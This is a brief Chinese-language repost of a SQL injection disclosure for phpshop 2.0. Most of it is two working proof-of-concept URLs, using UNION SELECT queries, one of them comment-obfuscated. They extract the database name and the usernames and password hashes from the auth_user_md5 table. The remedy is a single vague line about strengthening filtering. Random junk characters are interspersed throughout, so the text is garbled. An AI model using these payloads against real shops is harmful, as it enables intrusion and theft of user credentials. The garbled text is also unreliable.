phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

作者 : By onestree
8 }7 v3 y. K/ x7 M6 S; N2 S" ~下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu
) w: B/ l% a9 U+ f7 O- t+ _

# y! f/ @: A$ k# }- |9 aSQLi p0c:

==================
) g( f' b# n8 Y
  g; E. W& m2 C* e! Thttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
/ R. ]) X& I$ Z# |8 Junion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
# Q) l: }: W5 M! {$ P$ p$ {
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
. Q. {: ~1 g5 ?3 ~) @3 A2 h
' |' h& H9 E7 C修复：
% W; t# C' [% }7 L加强过滤
​
$ B* f+ B6 n3 _/ d
' |8 z, Q1 y& A: H